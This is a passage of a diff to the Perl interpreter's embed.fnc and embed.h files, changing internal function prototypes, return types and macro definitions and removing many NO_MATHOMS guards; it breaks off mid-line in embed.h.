-2100,8 +2021,8 @@ Ap |void |sys_intern_dup |NN struct interp_intern* src|NN struct interp_intern* #endif Amop |const XOP * |custom_op_xop |NN const OP *o -AbpR |const char * |custom_op_name |NN const OP *o -AbpR |const char * |custom_op_desc |NN const OP *o +ApR |const char * |custom_op_name |NN const OP *o +ApR |const char * |custom_op_desc |NN const OP *o pRX |XOPRETANY |custom_op_get_field |NN const OP *o|const xop_flags_enum field Aop |void |custom_op_register |NN Perl_ppaddr_t ppaddr \ |NN const XOP *xop @@ -2114,12 +2035,12 @@ Adp |int |nothreadhook p |void |init_constants #if defined(PERL_IN_DOOP_C) -sR |Size_t |do_trans_simple |NN SV * const sv -sR |Size_t |do_trans_count |NN SV * const sv -sR |Size_t |do_trans_complex |NN SV * const sv -sR |Size_t |do_trans_simple_utf8 |NN SV * const sv -sR |Size_t |do_trans_count_utf8 |NN SV * const sv -sR |Size_t |do_trans_complex_utf8 |NN SV * const sv +sR |I32 |do_trans_simple |NN SV * const sv +sR |I32 |do_trans_count |NN SV * const sv +sR |I32 |do_trans_complex |NN SV * const sv +sR |I32 |do_trans_simple_utf8 |NN SV * const sv +sR |I32 |do_trans_count_utf8 |NN SV * const sv +sR |I32 |do_trans_complex_utf8 |NN SV * const sv #endif #if defined(PERL_IN_GV_C) @@ -2149,13 +2070,13 @@ po |SV* |hfree_next_entry |NN HV *hv|NN STRLEN *indexp #if defined(PERL_IN_HV_C) s |void |hsplit |NN HV *hv|STRLEN const oldsize|STRLEN newsize -s |void |hv_free_entries|NN HV *hv +s |void |hfreeentries |NN HV *hv s |SV* |hv_free_ent_ret|NN HV *hv|NN HE *entry sR |HE* |new_he sanR |HEK* |save_hek_flags |NN const char *str|I32 len|U32 hash|int flags sn |void |hv_magic_check |NN HV *hv|NN bool *needs_copy|NN bool *needs_store s |void |unshare_hek_or_pvn|NULLOK const HEK* hek|NULLOK const char* str|I32 len|U32 hash -sR |HEK* |share_hek_flags|NN const char *str|STRLEN len|U32 hash|int flags +sR |HEK* |share_hek_flags|NN const char *str|I32 len|U32 hash|int flags rs |void |hv_notallowed |int flags|NN const char *key|I32 klen|NN const char *msg in |U32|ptr_hash|PTRV u s |struct xpvhv_aux*|hv_auxinit|NN HV *hv @@ -2267,17 +2188,17 @@ pRxo |GV* |softref2xv |NN SV *const sv|NN const char *const what \ #endif #if defined(PERL_IN_PP_PACK_C) -s |SSize_t|unpack_rec |NN struct tempsym* symptr|NN const char *s \ +s |I32 |unpack_rec |NN struct tempsym* symptr|NN const char *s \ |NN const char *strbeg|NN const char *strend|NULLOK const char **new_s s |SV ** |pack_rec |NN SV *cat|NN struct tempsym* symptr|NN SV **beglist|NN SV **endlist s |SV* |mul128 |NN SV *sv|U8 m -s |SSize_t|measure_struct |NN struct tempsym* symptr +s |I32 |measure_struct |NN struct tempsym* symptr s |bool |next_symbol |NN struct tempsym* symptr sR |SV* |is_an_int |NN const char *s|STRLEN l s |int |div128 |NN SV *pnum|NN bool *done s |const char *|group_end |NN const char *patptr|NN const char *patend \ |char ender -sR |const char *|get_num |NN const char *patptr|NN SSize_t *lenptr +sR |const char *|get_num |NN const char *patptr|NN I32 *lenptr ns |bool |need_utf8 |NN const char *pat|NN const char *patend ns |char |first_symbol |NN const char *pat|NN const char *patend sR |char * |sv_exp_grow |NN SV *sv|STRLEN needed @@ -2330,6 +2251,7 @@ s |I32 |amagic_cmp_locale|NN SV *const str1|NN SV *const str2 s |I32 |sortcv |NN SV *const a|NN SV *const b s |I32 |sortcv_xsub |NN SV *const a|NN SV *const b s |I32 |sortcv_stacked |NN SV *const a|NN SV *const b +s |void |qsortsvu |NULLOK SV** array|size_t num_elts|NN SVCOMPARE_t compare #endif #if defined(PERL_IN_PP_SYS_C) @@ -2476,7 +2398,6 @@ Es |SSize_t|study_chunk |NN RExC_state_t *pRExC_state \ |I32 stopparen|U32 recursed_depth \ |NULLOK regnode_ssc *and_withp \ |U32 flags|U32 depth -EsR |SV * |get_ANYOFM_contents|NN const regnode * n EsRn |U32 |add_data |NN RExC_state_t* const pRExC_state \ |NN const char* const s|const U32 n rs |void |re_croak2 |bool utf8|NN const char* pat1|NN const char* pat2|... @@ -2509,7 +2430,7 @@ Es |const regnode*|dumpuntil|NN const regexp *r|NN const regnode *start \ |NN SV* sv|I32 indent|U32 depth Es |void |put_code_point |NN SV* sv|UV c Es |bool |put_charclass_bitmap_innards|NN SV* sv \ - |NULLOK char* bitmap \ + |NN char* bitmap \ |NULLOK SV* nonbitmap_invlist \ |NULLOK SV* only_utf8_locale_invlist\ |NULLOK const regnode * const node \ @@ -2549,15 +2470,7 @@ ERp |bool |_is_grapheme |NN const U8 * strbeg|NN const U8 * s|NN const U8 *stren #endif #if defined(PERL_IN_REGEXEC_C) -ERs |bool |isFOO_utf8_lc |const U8 classnum|NN const U8* character|NN const U8* e -ERns |char * |find_next_ascii|NN char* s|NN const char * send|const bool is_utf8 -ERns |char * |find_next_non_ascii|NN char* s|NN const char * send|const bool is_utf8 -ERns |U8 * |find_next_masked|NN U8 * s \ - |NN const U8 * send \ - |const U8 byte|const U8 mask -ERns |U8 *|find_span_end |NN U8* s|NN const U8 * send|const U8 span_byte -ERns |U8 *|find_span_end_mask|NN U8 * s|NN const U8 * send \ - |const U8 span_byte|const U8 mask +ERs |bool |isFOO_utf8_lc |const U8 classnum|NN const U8* character ERs |SSize_t|regmatch |NN regmatch_info *reginfo|NN char *startpos|NN regnode *prog WERs |I32 |regrepeat |NN regexp *prog|NN char **startposp \ |NN const regnode *p \ @@ -2687,7 +2600,7 @@ s |int |sv_2iuv_non_preserve |NN SV *const sv|I32 numtype s |int |sv_2iuv_non_preserve |NN SV *const sv # endif # endif -sR |STRLEN |expect_number |NN const char **const pattern +sR |I32 |expect_number |NN char **const pattern sn |STRLEN |sv_pos_u2b_forwards|NN const U8 *const start \ |NN const U8 *const send|NN STRLEN *const uoffset \ |NN bool *const at_end @@ -2753,11 +2666,11 @@ s |void |checkcomma |NN const char *s|NN const char *name \ |NN const char *what s |void |force_ident |NN const char *s|int kind s |void |force_ident_maybe_lex|char pit -s |void |incline |NN const char *s|NN const char *end +s |void |incline |NN const char *s s |int |intuit_method |NN char *s|NULLOK SV *ioname|NULLOK CV *cv -s |int |intuit_more |NN char *s|NN char *e +s |int |intuit_more |NN char *s s |I32 |lop |I32 f|U8 x|NN char *s -rs |void |missingterm |NULLOK char *s|STRLEN len +rs |void |missingterm |NULLOK char *s s |void |no_op |NN const char *const what|NULLOK char *s s |int |pending_ident sR |I32 |sublex_done @@ -2770,11 +2683,11 @@ so |SV* |new_constant |NULLOK const char *s|STRLEN len \ |NN const char *key|STRLEN keylen|NN SV *sv \ |NULLOK SV *pv|NULLOK const char *type \ |STRLEN typelen +s |int |deprecate_commaless_var_list s |int |ao |int toketype s |void|parse_ident|NN char **s|NN char **d \ |NN char * const e|int allow_package \ - |bool is_utf8|bool check_dollar \ - |bool tick_warn + |bool is_utf8|bool check_dollar # if defined(PERL_CR_FILTER) s |I32 |cr_textfilter |int idx|NULLOK SV *sv|int maxlen s |void |strip_return |NN SV *sv @@ -2784,64 +2697,32 @@ s |int |tokereport |I32 rv|NN const YYSTYPE* lvalp sf |void |printbuf |NN const char *const fmt|NN const char *const s # endif #endif -EXMp |bool |validate_proto |NN SV *name|NULLOK SV *proto|bool warn \ - |bool curstash +EXMp |bool |validate_proto |NN SV *name|NULLOK SV *proto|bool warn #if defined(PERL_IN_UNIVERSAL_C) s |bool |isa_lookup |NN HV *stash|NN const char * const name \ |STRLEN len|U32 flags #endif -#if defined(PERL_IN_LOCALE_C) -sn |const char*|category_name |const int category -s |const char*|switch_category_locale_to_template|const int switch_category|const int template_category|NULLOK const char * template_locale -s |void |restore_switched_locale|const int category|NULLOK const char * const original_locale -# ifdef HAS_NL_LANGINFO -sn |const char*|my_nl_langinfo|const nl_item item|bool toggle -# else -sn |const char*|my_nl_langinfo|const int item|bool toggle -# endif -inR |const char *|save_to_buffer|NULLOK const char * string \ - |NULLOK char **buf \ - |NN Size_t *buf_size \ - |const Size_t offset -# if defined(USE_LOCALE) +#if defined(USE_LOCALE) && defined(PERL_IN_LOCALE_C) s |char* |stdize_locale |NN char* locs -s |void |new_collate |NULLOK const char* newcoll -s |void |new_ctype |NN const char* newctype -s |void |set_numeric_radix|const bool use_locale -s |void |new_numeric |NULLOK const char* newnum -# ifdef USE_POSIX_2008_LOCALE -sn |const char*|emulate_setlocale|const int category \ - |NULLOK const char* locale \ - |unsigned int index \ - |const bool is_index_valid -# endif -# ifdef WIN32 -s |char* |win32_setlocale|int category|NULLOK const char* locale -# endif -# ifdef DEBUGGING +# ifdef DEBUGGING s |void |print_collxfrm_input_and_return \ |NN const char * const s \ |NN const char * const e \ |NULLOK const STRLEN * const xlen \ |const bool is_utf8 -s |void |print_bytes_for_locale |NN const char * const s \ - |NN const char * const e \ - |const bool is_utf8 -snR |char * |setlocale_debug_string |const int category \ - |NULLOK const char* const locale \ - |NULLOK const char* const retval -# endif -# endif +# endif #endif -#if defined(USE_LOCALE) \ - && ( defined(PERL_IN_LOCALE_C) \ - || defined(PERL_IN_MG_C) \ - || defined (PERL_EXT_POSIX) \ - || defined (PERL_EXT_LANGINFO)) +#if defined(USE_LOCALE) \ + && (defined(PERL_IN_LOCALE_C) || defined (PERL_EXT_POSIX)) ApM |bool |_is_cur_LC_category_utf8|int category +# ifdef DEBUGGING +AMnpR |char * |_setlocale_debug_string|const int category \ + |NULLOK const char* const locale \ + |NULLOK const char* const retval +# endif #endif @@ -2871,21 +2752,18 @@ sn |NV|mulexp10 |NV value|I32 exponent #endif #if defined(PERL_IN_UTF8_C) -sR |HV * |new_msg_hv |NN const char * const message \ - |U32 categories \ - |U32 flag sRM |UV |check_locale_boundary_crossing \ |NN const U8* const p \ |const UV result \ |NN U8* const ustrp \ |NN STRLEN *lenp iR |bool |is_utf8_common |NN const U8 *const p \ - |NULLOK SV **swash \ + |NN SV **swash \ |NN const char * const swashname \ |NULLOK SV* const invlist iR |bool |is_utf8_common_with_len|NN const U8 *const p \ |NN const U8 *const e \ - |NULLOK SV **swash \ + |NN SV **swash \ |NN const char * const swashname \ |NULLOK SV* const invlist sR |SV* |swatch_get |NN SV* swash|UV start|UV span @@ -2909,8 +2787,7 @@ Apd |char* |sv_pvn_force_flags|NN SV *const sv|NULLOK STRLEN *const lp|const I32 Apmb |void |sv_copypv |NN SV *const dsv|NN SV *const ssv Apmd |void |sv_copypv_nomg |NN SV *const dsv|NN SV *const ssv Apd |void |sv_copypv_flags |NN SV *const dsv|NN SV *const ssv|const I32 flags -Apo |char* |my_atof2 |NN const char *orig|NN NV* value -Ap |char* |my_atof3 |NN const char *orig|NN NV* value|const STRLEN len +Ap |char* |my_atof2 |NN const char *s|NN NV* value Apn |int |my_socketpair |int family|int type|int protocol|int fd[2] Apn |int |my_dirfd |NULLOK DIR* dir #ifdef PERL_ANY_COW @@ -3050,7 +2927,6 @@ Apod |void |hv_assert |NN HV *hv #endif ApdR |SV* |hv_scalar |NN HV *hv -p |void |hv_pushkv |NN HV *hv|U32 flags ApdRM |SV* |hv_bucket_ratio|NN HV *hv ApoR |I32* |hv_riter_p |NN HV *hv ApoR |HE** |hv_eiter_p |NN HV *hv @@ -3105,6 +2981,10 @@ ApoP |bool |ckwarn_d |U32 w XEopMR |STRLEN *|new_warnings_bitfield|NULLOK STRLEN *buffer \ |NN const char *const bits|STRLEN size +#ifndef SPRINTF_RETURNS_STRLEN +Apnod |int |my_sprintf |NN char *buffer|NN const char *pat|... +#endif + Apnodf |int |my_snprintf |NN char *buffer|const Size_t len|NN const char *format|... Apnod |int |my_vsnprintf |NN char *buffer|const Size_t len|NN const char *format|va_list ap #ifdef USE_QUADMATH @@ -3138,17 +3018,6 @@ Apnod |Size_t |my_strlcat |NULLOK char *dst|NULLOK const char *src|Size_t size Apnod |Size_t |my_strlcpy |NULLOK char *dst|NULLOK const char *src|Size_t size #endif -#ifndef HAS_STRNLEN -Apnod |Size_t |my_strnlen |NN const char *str|Size_t maxlen -#endif - -#ifndef HAS_MKOSTEMP -pno |int |my_mkostemp |NN char *templte|int flags -#endif -#ifndef HAS_MKSTEMP -pno |int |my_mkstemp |NN char *templte -#endif - APpdn |bool |isinfnan |NV nv p |bool |isinfnansv |NN SV *sv diff --git a/embed.h b/embed.h index 9bc7fb38d059..5352f536f80b 100644 --- a/embed.h +++ b/embed.h @@ -28,6 +28,7 @@ #define Gv_AMupdate(a,b) Perl_Gv_AMupdate(aTHX_ a,b) #define _force_out_malformed_utf8_message(a,b,c,d) Perl__force_out_malformed_utf8_message(aTHX_ a,b,c,d) +#define _is_in_locale_category(a,b) Perl__is_in_locale_category(aTHX_ a,b) #define _is_uni_FOO(a,b) Perl__is_uni_FOO(aTHX_ a,b) #define _is_uni_perl_idcont(a) Perl__is_uni_perl_idcont(aTHX_ a) #define _is_uni_perl_idstart(a) Perl__is_uni_perl_idstart(aTHX_ a) @@ -70,7 +71,7 @@ #define block_gimme() Perl_block_gimme(aTHX) #define block_start(a) Perl_block_start(aTHX_ a) #define bytes_cmp_utf8(a,b,c,d) Perl_bytes_cmp_utf8(aTHX_ a,b,c,d) -#define bytes_from_utf8_loc Perl_bytes_from_utf8_loc +#define bytes_from_utf8(a,b,c) Perl_bytes_from_utf8(aTHX_ a,b,c) #define bytes_to_utf8(a,b) Perl_bytes_to_utf8(aTHX_ a,b) #define call_argv(a,b,c) Perl_call_argv(aTHX_ a,b,c) #define call_atexit(a,b) Perl_call_atexit(aTHX_ a,b) @@ -98,16 +99,11 @@ #define croak_no_modify Perl_croak_no_modify #define croak_sv(a) Perl_croak_sv(aTHX_ a) #define croak_xs_usage Perl_croak_xs_usage -#ifndef NO_MATHOMS #define custom_op_desc(a) Perl_custom_op_desc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define custom_op_name(a) Perl_custom_op_name(aTHX_ a) -#endif #define cv_clone(a) Perl_cv_clone(aTHX_ a) #define cv_const_sv Perl_cv_const_sv #define cv_get_call_checker(a,b,c) Perl_cv_get_call_checker(aTHX_ a,b,c) -#define cv_get_call_checker_flags(a,b,c,d,e) Perl_cv_get_call_checker_flags(aTHX_ a,b,c,d,e) #define cv_name(a,b,c) Perl_cv_name(aTHX_ a,b,c) #define cv_set_call_checker(a,b,c) Perl_cv_set_call_checker(aTHX_ a,b,c) #define cv_set_call_checker_flags(a,b,c,d) Perl_cv_set_call_checker_flags(aTHX_ a,b,c,d) @@ -127,9 +123,7 @@ #define die Perl_die #endif #define die_sv(a) Perl_die_sv(aTHX_ a) -#ifndef NO_MATHOMS #define do_binmode(a,b,c) Perl_do_binmode(aTHX_ a,b,c) -#endif #define do_close(a,b) Perl_do_close(aTHX_ a,b) #define do_gv_dump(a,b,c,d) Perl_do_gv_dump(aTHX_ a,b,c,d) #define do_gvgv_dump(a,b,c,d) Perl_do_gvgv_dump(aTHX_ a,b,c,d) @@ -137,9 +131,7 @@ #define do_join(a,b,c,d) Perl_do_join(aTHX_ a,b,c,d) #define do_magic_dump(a,b,c,d,e,f,g) Perl_do_magic_dump(aTHX_ a,b,c,d,e,f,g) #define do_op_dump(a,b,c) Perl_do_op_dump(aTHX_ a,b,c) -#ifndef NO_MATHOMS #define do_open9(a,b,c,d,e,f,g,h,i) Perl_do_open9(aTHX_ a,b,c,d,e,f,g,h,i) -#endif #define do_openn(a,b,c,d,e,f,g,h,i) Perl_do_openn(aTHX_ a,b,c,d,e,f,g,h,i) #define do_pmop_dump(a,b,c) Perl_do_pmop_dump(aTHX_ a,b,c) #define do_sprintf(a,b,c) Perl_do_sprintf(aTHX_ a,b,c) @@ -202,9 +194,7 @@ #define gv_check(a) Perl_gv_check(aTHX_ a) #define gv_const_sv(a) Perl_gv_const_sv(aTHX_ a) #define gv_dump(a) Perl_gv_dump(aTHX_ a) -#ifndef NO_MATHOMS #define gv_efullname(a,b) Perl_gv_efullname(aTHX_ a,b) -#endif #define gv_efullname4(a,b,c,d) Perl_gv_efullname4(aTHX_ a,b,c,d) #define gv_fetchfile(a) Perl_gv_fetchfile(aTHX_ a) #define gv_fetchfile_flags(a,b,c) Perl_gv_fetchfile_flags(aTHX_ a,b,c) @@ -221,9 +211,7 @@ #define gv_fetchpv(a,b,c) Perl_gv_fetchpv(aTHX_ a,b,c) #define gv_fetchpvn_flags(a,b,c,d) Perl_gv_fetchpvn_flags(aTHX_ a,b,c,d) #define gv_fetchsv(a,b,c) Perl_gv_fetchsv(aTHX_ a,b,c) -#ifndef NO_MATHOMS #define gv_fullname(a,b) Perl_gv_fullname(aTHX_ a,b) -#endif #define gv_fullname4(a,b,c,d) Perl_gv_fullname4(aTHX_ a,b,c,d) #define gv_handler(a,b) Perl_gv_handler(aTHX_ a,b) #define gv_init_pv(a,b,c,d) Perl_gv_init_pv(aTHX_ a,b,c,d) @@ -252,187 +240,78 @@ #define hv_rand_set(a,b) Perl_hv_rand_set(aTHX_ a,b) #define hv_scalar(a) Perl_hv_scalar(aTHX_ a) #define init_i18nl10n(a) Perl_init_i18nl10n(aTHX_ a) -#ifndef NO_MATHOMS #define init_i18nl14n(a) Perl_init_i18nl14n(aTHX_ a) -#endif #define init_stacks() Perl_init_stacks(aTHX) #define init_tm(a) Perl_init_tm(aTHX_ a) #define intro_my() Perl_intro_my(aTHX) -#ifndef NO_MATHOMS #define isALNUM_lazy(a) Perl_isALNUM_lazy(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define isIDFIRST_lazy(a) Perl_isIDFIRST_lazy(aTHX_ a) -#endif +#define is_c9strict_utf8_string S_is_c9strict_utf8_string #define is_c9strict_utf8_string_loclen S_is_c9strict_utf8_string_loclen #define is_lvalue_sub() Perl_is_lvalue_sub(aTHX) #define is_safe_syscall(a,b,c,d) S_is_safe_syscall(aTHX_ a,b,c,d) +#define is_strict_utf8_string S_is_strict_utf8_string #define is_strict_utf8_string_loclen S_is_strict_utf8_string_loclen -#ifndef NO_MATHOMS #define is_uni_alnum(a) Perl_is_uni_alnum(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_alnum_lc(a) Perl_is_uni_alnum_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_alnumc(a) Perl_is_uni_alnumc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_alnumc_lc(a) Perl_is_uni_alnumc_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_alpha(a) Perl_is_uni_alpha(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_alpha_lc(a) Perl_is_uni_alpha_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_ascii(a) Perl_is_uni_ascii(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_ascii_lc(a) Perl_is_uni_ascii_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_blank(a) Perl_is_uni_blank(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_blank_lc(a) Perl_is_uni_blank_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_cntrl(a) Perl_is_uni_cntrl(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_cntrl_lc(a) Perl_is_uni_cntrl_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_digit(a) Perl_is_uni_digit(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_digit_lc(a) Perl_is_uni_digit_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_graph(a) Perl_is_uni_graph(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_graph_lc(a) Perl_is_uni_graph_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_idfirst(a) Perl_is_uni_idfirst(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_idfirst_lc(a) Perl_is_uni_idfirst_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_lower(a) Perl_is_uni_lower(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_lower_lc(a) Perl_is_uni_lower_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_print(a) Perl_is_uni_print(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_print_lc(a) Perl_is_uni_print_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_punct(a) Perl_is_uni_punct(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_punct_lc(a) Perl_is_uni_punct_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_space(a) Perl_is_uni_space(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_space_lc(a) Perl_is_uni_space_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_upper(a) Perl_is_uni_upper(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_upper_lc(a) Perl_is_uni_upper_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_xdigit(a) Perl_is_uni_xdigit(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_uni_xdigit_lc(a) Perl_is_uni_xdigit_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_alnum(a) Perl_is_utf8_alnum(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_alnumc(a) Perl_is_utf8_alnumc(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_alpha(a) Perl_is_utf8_alpha(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_ascii(a) Perl_is_utf8_ascii(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_blank(a) Perl_is_utf8_blank(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_char Perl_is_utf8_char -#endif -#ifndef NO_MATHOMS #define is_utf8_cntrl(a) Perl_is_utf8_cntrl(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_digit(a) Perl_is_utf8_digit(aTHX_ a) -#endif #define is_utf8_fixed_width_buf_loclen_flags S_is_utf8_fixed_width_buf_loclen_flags -#ifndef NO_MATHOMS #define is_utf8_graph(a) Perl_is_utf8_graph(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_idcont(a) Perl_is_utf8_idcont(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_idfirst(a) Perl_is_utf8_idfirst(aTHX_ a) -#endif -#define is_utf8_invariant_string_loc S_is_utf8_invariant_string_loc -#ifndef NO_MATHOMS +#define is_utf8_invariant_string S_is_utf8_invariant_string #define is_utf8_lower(a) Perl_is_utf8_lower(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_mark(a) Perl_is_utf8_mark(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_perl_space(a) Perl_is_utf8_perl_space(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_perl_word(a) Perl_is_utf8_perl_word(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_posix_digit(a) Perl_is_utf8_posix_digit(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_print(a) Perl_is_utf8_print(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_punct(a) Perl_is_utf8_punct(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_space(a) Perl_is_utf8_space(aTHX_ a) -#endif +#define is_utf8_string Perl_is_utf8_string #define is_utf8_string_flags S_is_utf8_string_flags #define is_utf8_string_loclen Perl_is_utf8_string_loclen #define is_utf8_string_loclen_flags S_is_utf8_string_loclen_flags -#ifndef NO_MATHOMS #define is_utf8_upper(a) Perl_is_utf8_upper(aTHX_ a) -#endif #define is_utf8_valid_partial_char_flags S_is_utf8_valid_partial_char_flags -#ifndef NO_MATHOMS #define is_utf8_xdigit(a) Perl_is_utf8_xdigit(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_xidcont(a) Perl_is_utf8_xidcont(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define is_utf8_xidfirst(a) Perl_is_utf8_xidfirst(aTHX_ a) -#endif #define isinfnan Perl_isinfnan #define leave_adjust_stacks(a,b,c,d) Perl_leave_adjust_stacks(aTHX_ a,b,c,d) #define leave_scope(a) Perl_leave_scope(aTHX_ a) @@ -465,7 +344,6 @@ #define mg_findext Perl_mg_findext #define mg_free(a) Perl_mg_free(aTHX_ a) #define mg_free_type(a,b) Perl_mg_free_type(aTHX_ a,b) -#define mg_freeext(a,b,c) Perl_mg_freeext(aTHX_ a,b,c) #define mg_get(a) Perl_mg_get(aTHX_ a) #define mg_length(a) Perl_mg_length(aTHX_ a) #define mg_magical Perl_mg_magical @@ -476,7 +354,7 @@ #define mro_get_linear_isa(a) Perl_mro_get_linear_isa(aTHX_ a) #define mro_method_changed_in(a) Perl_mro_method_changed_in(aTHX_ a) #define my_atof(a) Perl_my_atof(aTHX_ a) -#define my_atof3(a,b,c) Perl_my_atof3(aTHX_ a,b,c) +#define my_atof2(a,b) Perl_my_atof2(aTHX_ a,b) #define my_dirfd Perl_my_dirfd #define my_exit(a) Perl_my_exit(aTHX_ a) #define my_failure_exit() Perl_my_failure_exit(aTHX) @@ -485,6 +363,7 @@ #define my_popen_list(a,b,c) Perl_my_popen_list(aTHX_ a,b,c) #define my_setenv(a,b) Perl_my_setenv(aTHX_ a,b) #define my_socketpair Perl_my_socketpair +#define my_strerror(a) Perl_my_strerror(aTHX_ a) #define my_strftime(a,b,c,d,e,f,g,h,i,j) Perl_my_strftime(aTHX_ a,b,c,d,e,f,g,h,i,j) #define newANONATTRSUB(a,b,c,d) Perl_newANONATTRSUB(aTHX_ a,b,c,d) #define newANONHASH(a) Perl_newANONHASH(aTHX_ a) @@ -550,6 +429,9 @@ #define newWHILEOP(a,b,c,d,e,f,g) Perl_newWHILEOP(aTHX_ a,b,c,d,e,f,g) #define newXS(a,b,c) Perl_newXS(aTHX_ a,b,c) #define newXS_flags(a,b,c,d,e) Perl_newXS_flags(aTHX_ a,b,c,d,e) +#define new_collate(a) Perl_new_collate(aTHX_ a) +#define new_ctype(a) Perl_new_ctype(aTHX_ a) +#define new_numeric(a) Perl_new_numeric(aTHX_ a) #define new_stackinfo(a,b) Perl_new_stackinfo(aTHX_ a,b) #define new_version(a) Perl_new_version(aTHX_ a) #define nothreadhook() Perl_nothreadhook(aTHX) @@ -567,9 +449,7 @@ #define op_refcnt_unlock() Perl_op_refcnt_unlock(aTHX) #define op_scope(a) Perl_op_scope(aTHX_ a) #define op_sibling_splice Perl_op_sibling_splice -#ifndef NO_MATHOMS #define pack_cat(a,b,c,d,e,f,g) Perl_pack_cat(aTHX_ a,b,c,d,e,f,g) -#endif #define packlist(a,b,c,d,e) Perl_packlist(aTHX_ a,b,c,d,e) #define pad_add_anon(a,b) Perl_pad_add_anon(aTHX_ a,b) #define pad_add_name_pv(a,b,c,d) Perl_pad_add_name_pv(aTHX_ a,b,c,d) @@ -668,15 +548,9 @@ #define save_int(a) Perl_save_int(aTHX_ a) #define save_item(a) Perl_save_item(aTHX_ a) #define save_iv(a) Perl_save_iv(aTHX_ a) -#ifndef NO_MATHOMS #define save_list(a,b) Perl_save_list(aTHX_ a,b) -#endif -#ifndef NO_MATHOMS #define save_long(a) Perl_save_long(aTHX_ a) -#endif -#ifndef NO_MATHOMS #define save_nogv(a) Perl_save_nogv(aTHX_ a) -#endif #define save_padsv_and_mortalize(a) Perl_save_padsv_and_mortalize(aTHX_ a) #define save_pptr(a) Perl_save_pptr(aTHX_ a) #define save_pushi32ptr(a,b,c) Perl_save_pushi32ptr(aTHX_ a,b,c) @@ -705,6 +579,9 @@ #define scan_vstring(a,b,c) Perl_scan_vstring(aTHX_ a,b,c) #define seed() Perl_seed(aTHX) #define set_context Perl_set_context +#define set_numeric_local() Perl_set_numeric_local(aTHX) +#define set_numeric_radix() Perl_set_numeric_radix(aTHX) +#define set_numeric_standard() Perl_set_numeric_standard(aTHX) #define setdefout(a) Perl_setdefout(aTHX_ a) #define share_hek(a,b,c) Perl_share_hek(aTHX_ a,b,c) #define sortsv(a,b,c) Perl_sortsv(aTHX_ a,b,c) @@ -762,9 +639,7 @@ #define sv_insert_flags(a,b,c,d,e,f) Perl_sv_insert_flags(aTHX_ a,b,c,d,e,f) #define sv_isa(a,b) Perl_sv_isa(aTHX_ a,b) #define sv_isobject(a) Perl_sv_isobject(aTHX_ a) -#ifndef NO_MATHOMS #define sv_iv(a) Perl_sv_iv(aTHX_ a) -#endif #define sv_len(a) Perl_sv_len(aTHX_ a) #define sv_len_utf8(a) Perl_sv_len_utf8(aTHX_ a) #define sv_magic(a,b,c,d,e) Perl_sv_magic(aTHX_ a,b,c,d,e) @@ -775,28 +650,18 @@ #ifndef NO_MATHOMS #define sv_nounlocking(a) Perl_sv_nounlocking(aTHX_ a) #endif -#ifndef NO_MATHOMS #define sv_nv(a) Perl_sv_nv(aTHX_ a) -#endif #define sv_peek(a) Perl_sv_peek(aTHX_ a) #define sv_pos_b2u(a,b) Perl_sv_pos_b2u(aTHX_ a,b) #define sv_pos_b2u_flags(a,b,c) Perl_sv_pos_b2u_flags(aTHX_ a,b,c) #define sv_pos_u2b(a,b,c) Perl_sv_pos_u2b(aTHX_ a,b,c) #define sv_pos_u2b_flags(a,b,c,d) Perl_sv_pos_u2b_flags(aTHX_ a,b,c,d) -#ifndef NO_MATHOMS #define sv_pvbyten(a,b) Perl_sv_pvbyten(aTHX_ a,b) -#endif #define sv_pvbyten_force(a,b) Perl_sv_pvbyten_force(aTHX_ a,b) -#ifndef NO_MATHOMS #define sv_pvn(a,b) 